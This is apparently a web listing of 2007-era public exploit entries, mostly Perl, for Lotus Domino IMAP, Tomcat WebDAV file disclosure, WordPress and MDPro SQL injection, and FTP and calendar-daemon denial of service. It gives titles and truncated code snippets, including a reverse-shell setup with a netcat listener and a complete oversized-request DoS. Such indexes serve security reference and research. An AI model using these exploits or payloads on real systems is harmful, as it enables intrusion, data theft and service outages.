IBM Lotus Domino 7.0.2FP1 - IMAP4 Server LSUB Command

IBM Lotus Domino 7.0.2FP1 - IMAP4 Server LSUB Command !perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; use File::Basename; destination TCP port $port = 143; SE handler You can only use HEX values from 0x20 to...

IBM Lotus Domino 7.0.2FP1 IMAP4 Server LSUB Command Exploit

Exploit for unknown platform in category remote exploits =========================================================== IBM Lotus Domino 7.0.2FP1 IMAP4 Server LSUB Command Exploit =========================================================== !perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit...

IBM Lotus Domino 7.0.2FP1 - IMAP4 Server LSUB Command

!perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; use File::Basename; destination TCP port $port = 143; SE handler You can only use HEX values from 0x20 to 0x7e! printable ASCII characters You must use a...

Jakarta Slide 2.1 RC1 - Remote File Disclosure

!/usr/bin/perl Jakarta Slide Remote File Disclosure Zeroday Xploit eliteb0y / 2007 thanx to the whole team & andi : +++KEEP PRIV8+++ This Bug may reside in different WebDav implementations, Warp your mind! +You will need auth for the exploit to work... use IO::Socket; use MIME::Base64; FIXME! May...

Jakarta Slide 2.1 RC1 - Remote File Disclosure

Jakarta Slide 2.1 RC1 - Remote File Disclosure !/usr/bin/perl Jakarta Slide Remote File Disclosure Zeroday Xploit eliteb0y / 2007 thanx to the whole team & andi : +++KEEP PRIV8+++ This Bug may reside in different WebDav implementations, Warp your mind! +You will need auth for the exploit to work...

Apache Tomcat - WebDAV SSL Remote File Disclosure

Apache Tomcat - WebDAV SSL Remote File Disclosure !/usr/bin/perl ================================================================ Apache Tomcat Remote File Disclosure Zeroday Xploit - With support for SSL MoDiFiEd version by : h3rcul3s ORiGiNaL Version by : kcdarookie aka eliteb0y / 2007...

Simple Forum (for WordPress) sql-inject exploit (public version)

No description provided by source. !/usr/bin/perl use IO::Socket; if @ARGV 4 print q Simple Forum for WordPress sql-inject exploit public version Tested on SF version 1.0, 1.1, 1.9 and WordPress 2.1.0, 2.1.1, 2.1.2 This exploit gives you selected user passwd hash, for more features use Private...

AST-2007-023-poc.txt

for testing purposes the POC of the vulnerabiliy discovered by the KIPH fuzzer RS !/usr/bin/perl Vulnerabily discovered using KiF Kiph Authors: Humberto J. Abdelnur Ph.D Student Radu State Ph.D Olivier Festor Ph.D Madynes Team, LORIA - INRIA Lorraine http://madynes.loria.fr use IO::Socket::INET;...

GCALDaemon 1.0-beta13 - Remote Denial of Service

!/usr/bin/perl / GCALDaemon $host, PeerPort = $port, PeerProto = 'tcp' or die "error: $!\n"; print "GCALDaemom DoS Expoit\n"; print "Just 4 seconds...\n"; sleep 4; $sock-send"GET / HTTP/1.1\r\n"; $sock-send"Content-Length: 1000000000\r\n\r\n"; $sock-close; print "\n\nNo more sync!\n"; milw0rm.com...

Apache Tomcat (webdav) Remote File Disclosure Exploit

No description provided by source. !/usr/bin/perl Apache Tomcat Remote File Disclosure Zeroday Xploit kcdarookie aka eliteb0y / 2007 thanx to the whole team & andi : +++KEEP PRIV8+++ This Bug may reside in different WebDav implementations, Warp your mind! +You will need auth for the exploit to...

Apache Tomcat (webdav) Remote File Disclosure Exploit

Exploit for multiple platform in category remote exploits ===================================================== Apache Tomcat webdav Remote File Disclosure Exploit ===================================================== !/usr/bin/perl Apache Tomcat Remote File Disclosure Zeroday Xploit kcdarookie a...

Apache Tomcat - 'WebDAV' Remote File Disclosure

!/usr/bin/perl Apache Tomcat Remote File Disclosure Zeroday Xploit kcdarookie aka eliteb0y / 2007 thanx to the whole team & andi : +++KEEP PRIV8+++ This Bug may reside in different WebDav implementations, Warp your mind! +You will need auth for the exploit to work... use IO::Socket; use...

kwsphpnews-sql.txt

Script....................................: KwsPHP ver 1.0 Newsletter Module Script Site...........................: http://www.kwsphp.org Vulnerability........................: Remote SQL injection Exploit Access..................................: Remote...

wzdftpd <= 0.8.0 (USER) Remote Denial of Service Exploit

No description provided by source. Indonesian Newhack Security Advisory ------------------------------------ wzdftpd = 0.8.0 USER Remote Danial of Service Waktu : Oct 07 2007 05:00AM Software : wzdftpd 0.8.0 Version : 0.8.0 Linux and Windows...

WzdFTPD 0.8.0 - 'USER' Remote Denial of Service

Indonesian Newhack Security Advisory ------------------------------------ wzdftpd new Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "\n- K...

fsfdt-overflow.txt

$ nc -l -p 4321 Microsoft Windows 2000 Version 5.00.2195 C Copyright 1985-2000 Microsoft Corp. E:\draft\fsd1110\windows ------------------------------------------- !/usr/bin/perl FSFDT remote exploit by weakatfraglab.at spawns reverse shell to 10.0.0.100:4321 tested against 'FSFDT Windows FSD Bet...

FSFDT v3.000 d9 (HELP) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ===================================================== FSFDT v3.000 d9 HELP Remote Buffer Overflow Exploit ===================================================== $ nc -l -p 4321 Microsoft Windows 2000 Version 5.00.2195 C Copyright 1985-2000...

FSD 2.052/3.000 - 'sysuser.cc sysuser::exechelp' 'HELP' Remote Overflow

source: https://www.securityfocus.com/bid/25883/info FSD is prone to multiple remote buffer-overflow vulnerabilities because the application fails to perform adequate boundary-checks on user-supplied data. An attacker can exploit these issues to execute arbitrary code within the context of the...

MD-Pro 1.0.76 - SQL Injection

!/usr/bin/perl use strict; use IO::Socket; my $app = "MDPro 1.0.76"; my $type = "SQL Injection"; my $author = "undefined1"; my $settings = "magicquotesruntime = off, mysql = 4.1.0"; $| = 1; print ":: $app $type - by $author ::\n\n\n"; my $url = shift || usage; if$url = m/^?:http://./ $url = $1;...

MDPro 1.0.76 Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================= MDPro 1.0.76 Remote SQL Injection Exploit ========================================= !/usr/bin/perl use strict; use IO::Socket; my $app = "MDPro 1.0.76"; my $type = "SQL Injection"; my $author =...